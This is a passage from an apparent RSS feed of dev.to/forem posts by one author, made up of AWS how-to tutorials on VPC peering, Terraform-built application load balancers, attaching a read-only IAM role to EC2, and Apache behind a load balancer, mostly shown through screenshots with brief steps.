&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3v1uowfhrkjdp7vrry8a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3v1uowfhrkjdp7vrry8a.png" alt=" " width="800" height="429"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;creating endpoint for private server in mumbai&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7igmackc667dcoa4m4jg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7igmackc667dcoa4m4jg.png" alt=" " width="800" height="243"&gt;&lt;/a&gt;&lt;br&gt;
After running the Terraform commands terraform init, terraform plan, and terraform apply, the following outcomes can be expected:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;terraform init:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Initializes the Terraform working directory.&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;Downloads the necessary provider plugins and modules specified in the configuration files.
&lt;strong&gt;terraform plan:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;Generates an execution plan based on the current state and the desired configuration.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;This command performs a "dry run" without actually making any changes to the infrastructure.
&lt;strong&gt;terraform apply:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;Applies the changes specified in the Terraform configuration to create, update, or delete resources.
Connect to N. Virginia Server:&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Use an SSH client (e.g., OpenSSH, PuTTY) to connect to your N. Virginia server.&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Obtain the public IP address &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Test Connectivity to Private Server in Mumbai:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- From the N. Virginia server, attempt to connect to the private server in the Mumbai region using its private IP address.&lt;/li&gt;
&lt;li&gt;- Ensure that the security group rules on both the N. Virginia and Mumbai servers allow the necessary inbound and outbound traffic for communication.&lt;/li&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;If the peering connection is correctly configured, you should be able to establish a connection between the servers.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;After connecting to N-Virgina server provide key of the private mumbai server using vi keyname  then provide required chmod permission ( this process i have missed in screenshot)&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffc9huryzvk67ryqlb8wm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffc9huryzvk67ryqlb8wm.png" alt=" " width="800" height="411"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;we can see that we can successfully connect to private server so the peering connection working properly now lets check the endpoint connection :-&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- through endpoint connection, we will try to access s3 buckets&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3t6b1jubpjmo8vli93u.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk3t6b1jubpjmo8vli93u.jpg" alt=" " width="800" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Automating High Availability and Scalability with Terraform Load Balancing in the Cloud"</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Thu, 20 Jul 2023 19:09:18 +0000</pubDate>
      <link>https://forem.com/jenapuneet/automating-high-availability-and-scalability-with-terraform-load-balancing-in-the-cloud-17he</link>
      <guid>https://forem.com/jenapuneet/automating-high-availability-and-scalability-with-terraform-load-balancing-in-the-cloud-17he</guid>
      <description>&lt;p&gt;&lt;strong&gt;Step 1: Set up the Terraform Project&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Install Terraform: Download and install Terraform on your local machine from the official website: &lt;a href="https://www.terraform.io/downloads.html" rel="noopener noreferrer"&gt;https://www.terraform.io/downloads.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;- Create a directory for your Terraform project.&lt;/li&gt;
&lt;li&gt;- Initialize Terraform: Inside the project directory, create a new file named main.tf and add the following code to define the provider:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frsogw1s2htko1rslwfvf.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frsogw1s2htko1rslwfvf.jpg" alt=" " width="800" height="202"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Step 2: Create the VPC&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-  create the VPC and subnets in the same main.tf file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Setting up Internet Gateway and Route Table:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Create a new file named internet_gateway.tf and add the following code to set up the internet gateway and route table:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fji6gwvwo6w5ld5t2wlk2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fji6gwvwo6w5ld5t2wlk2.png" alt=" " width="800" height="606"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8md73r5tdasj1tmaq5d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp8md73r5tdasj1tmaq5d.png" alt=" " width="800" height="732"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Configuring Security Groups&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Create a new file named security_groups.tf and add the following code to configure security groups for the load balancer and instances:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgp82fr95qbn2r6wsuugd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgp82fr95qbn2r6wsuugd.png" alt=" " width="800" height="821"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkf83qp4iqkqmep115dce.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkf83qp4iqkqmep115dce.png" alt=" " width="800" height="410"&gt;&lt;/a&gt;&lt;br&gt;
We define a security group alb_sg for the Application Load Balancer (ALB), allowing incoming traffic on port 80 from any source (0.0.0.0/0).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- We create a security group instance_sg for the EC2 instances, allowing incoming traffic on port 80 only from the security group of the ALB. This ensures that the instances can receive traffic from the load balancer while maintaining security.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Generating and Configuring SSH Keys:&lt;/strong&gt;&lt;br&gt;
Open a terminal on your local machine.&lt;/p&gt;

&lt;p&gt;To generate an SSH key pair, run the following command:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- ssh-keygen &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb2kmybo2ee50ghq7l8hf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb2kmybo2ee50ghq7l8hf.png" alt=" " width="800" height="829"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2fwki7rfgfyl7bu9r0x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2fwki7rfgfyl7bu9r0x.png" alt=" " width="800" height="52"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6at08hkd8rc9wfegwftp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6at08hkd8rc9wfegwftp.png" alt=" " width="800" height="204"&gt;&lt;/a&gt;&lt;br&gt;
Launching EC2 Instancess:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9klk2jx4mqz86kgsf95f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9klk2jx4mqz86kgsf95f.png" alt=" " width="800" height="641"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configuring the Load Balancer,TargetGroup and Listerner:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47fs1y4pgcu9lwyqk5pq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47fs1y4pgcu9lwyqk5pq.png" alt=" " width="800" height="429"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy8c2tcr4sih7mz1ffh7v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy8c2tcr4sih7mz1ffh7v.png" alt=" " width="800" height="599"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Result:&lt;/strong&gt;&lt;br&gt;
After successfully applying the Terraform configuration, you will have a fully functional and highly available web application infrastructure on AWS. Let's take a look at what you've achieved:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs0iazegs5zcpzavivnju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs0iazegs5zcpzavivnju.png" alt=" " width="800" height="157"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ssdcvsbq3zu9ekc81oa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ssdcvsbq3zu9ekc81oa.png" alt=" " width="800" height="163"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frfgqge7snjuoy5rj5sps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frfgqge7snjuoy5rj5sps.png" alt=" " width="800" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Upon refreshing the web application, the ALB distributes incoming requests to registered EC2 instances, ensuring high availability and scalability. Auto Scaling launches additional instances if needed, maintaining smooth traffic distribution.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbq01u5xwruj9tsg19use.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbq01u5xwruj9tsg19use.png" alt=" " width="800" height="39"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrecrstlf1cobnweihn5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrecrstlf1cobnweihn5.png" alt=" " width="800" height="34"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Title: Step-by-Step Guide: Attaching IAM Roles to an EC2 Instance</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Sun, 16 Jul 2023 06:46:34 +0000</pubDate>
      <link>https://forem.com/jenapuneet/title-step-by-step-guide-attaching-iam-roles-to-an-ec2-instance-2oe</link>
      <guid>https://forem.com/jenapuneet/title-step-by-step-guide-attaching-iam-roles-to-an-ec2-instance-2oe</guid>
      <description>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;br&gt;
Attaching IAM (Identity and Access Management) roles to an EC2 (Elastic Compute Cloud) instance in AWS allows you to grant specific permissions and access to resources. This step-by-step guide will walk you through the process of creating a new IAM role, launching an EC2 instance, and attaching the IAM role to the instance. By the end of this guide, you will have successfully attached an IAM role to an EC2 instance and verified its functionality.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Create a New IAM Role and Attach IAM ReadOnly Policy:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2yuy48atdfmntzl6ngn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2yuy48atdfmntzl6ngn.png" alt=" " width="800" height="161"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv0wcqbg2w8ewmcb4wpy2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv0wcqbg2w8ewmcb4wpy2.png" alt=" " width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ufh68hcfkfad2dciyc4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ufh68hcfkfad2dciyc4.png" alt=" " width="800" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F876cnfno0hd9hugik24x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F876cnfno0hd9hugik24x.png" alt=" " width="800" height="248"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47aoxgkf2m39stun6674.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47aoxgkf2m39stun6674.png" alt=" " width="800" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Go to the AWS Management Console and navigate to the IAM service.&lt;/li&gt;
&lt;li&gt;- Select "Roles" from the left-hand side menu.&lt;/li&gt;
&lt;li&gt;- Click on "Create Role" and choose the service that will use the role (in this case, select EC2).&lt;/li&gt;
&lt;li&gt;- In the "Permissions" section, search for and select the "ReadOnlyAccess" policy.&lt;/li&gt;
&lt;li&gt;- Proceed to configure any optional tags or review the role's settings.&lt;/li&gt;
&lt;li&gt;- Give your role a meaningful name, such as "EC2ReadOnlyRole," and provide a description.&lt;/li&gt;
&lt;li&gt;- Click on "Create Role" to create the IAM role with the attached IAM ReadOnly policy.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Launch an EC2 Instance:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Go to the EC2 Dashboard in the AWS Management Console.&lt;/li&gt;
&lt;li&gt;- Click on "Launch Instances" and follow the wizard to configure your instance, selecting the desired instance type, AMI, and other settings.&lt;/li&gt;
&lt;li&gt;- In the "Configure Instance Details" section, scroll down to the "IAM role" field.&lt;/li&gt;
&lt;li&gt;- Choose the "EC2ReadOnlyRole" (or the name you provided) from the drop-down menu.&lt;/li&gt;
&lt;li&gt;- Continue with the remaining steps of the instance launch wizard, configuring security groups, storage, and other settings as needed.&lt;/li&gt;
&lt;li&gt;- Launch the EC2 instance.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Attach the IAM Role to the EC2 Instance:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkwa5f9vp8zmvdq5szs48.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkwa5f9vp8zmvdq5szs48.png" alt=" " width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3k8fbqontua4tra51tbv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3k8fbqontua4tra51tbv.png" alt=" " width="800" height="297"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Once the instance is launched and running, go to the EC2 Dashboard.&lt;/li&gt;
&lt;li&gt;- Select the newly created EC2 instance from the list.&lt;/li&gt;
&lt;li&gt;- In the "Actions" drop-down menu, choose "Security," and then "Modify IAM Role."&lt;/li&gt;
&lt;li&gt;- Select the "EC2ReadOnlyRole" (or the name you provided) from the "IAM role" drop-down menu.&lt;/li&gt;
&lt;li&gt;- Click on "Save" to attach the IAM role to the EC2 instance.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Connect to the EC2 Instance:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Obtain the necessary connection details for your EC2 instance, including the public IP address or public DNS name.&lt;/li&gt;
&lt;li&gt;- Open a terminal or SSH client and use the appropriate command to connect to the instance. 
&lt;strong&gt;Step 5: Verify IAM Role Functionality:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq7zllbk3777aelzclzzi.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq7zllbk3777aelzclzzi.jpg" alt=" " width="800" height="418"&gt;&lt;/a&gt;&lt;br&gt;
Once connected to the EC2 instance, execute the following command:&lt;br&gt;
&lt;strong&gt;aws iam list-users&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;This command lists all the IAM users in the AWS account.&lt;/li&gt;
&lt;li&gt;If the command successfully returns a list of IAM users, it indicates that the IAM role attached to the EC2 instance has the required IAM ReadOnly permissions.
** Conclusion:**
By following the step-by-step guide above, you have successfully created a new IAM role, launched an EC2 instance, attached the IAM role to the instance, and verified the functionality by listing IAM users from the EC2 instance. Attaching IAM roles to EC2 instances provides granular access control and allows instances to interact securely with other AWS services using temporary credentials.&lt;/li&gt;
&lt;/ol&gt;

</description>
    </item>
    <item>
      <title>"Optimizing Performance with Load Balancers in Web Applications"</title>
      <dc:creator>Puneet Jena</dc:creator>
      <pubDate>Wed, 12 Jul 2023 20:12:05 +0000</pubDate>
      <link>https://forem.com/jenapuneet/optimizing-performance-with-load-balancers-in-web-applications-11aa</link>
      <guid>https://forem.com/jenapuneet/optimizing-performance-with-load-balancers-in-web-applications-11aa</guid>
      <description>&lt;p&gt;I'll guide you step-by-step on how to create three instances, install Apache on each instance, start and enable the Apache server, use the echo command inside /var/www/html to mention the servers, create a target group associated with the three instances, configure an application load balancer, create a security group allowing HTTP traffic, and finally, provide instructions :&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Create three instances:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;- Launch three instances on your preferred cloud platform (e.g., Amazon EC2, Google Cloud Platform, etc.) using their respective web consoles or APIs.&lt;/li&gt;
&lt;li&gt;- Ensure that each instance is running a compatible operating system (e.g., Ubuntu, CentOS, Amazon Linux, etc.).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Install Apache and start the server:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6x9qwtjghpw34b1tcuc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6x9qwtjghpw34b1tcuc.png" alt=" " width="800" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

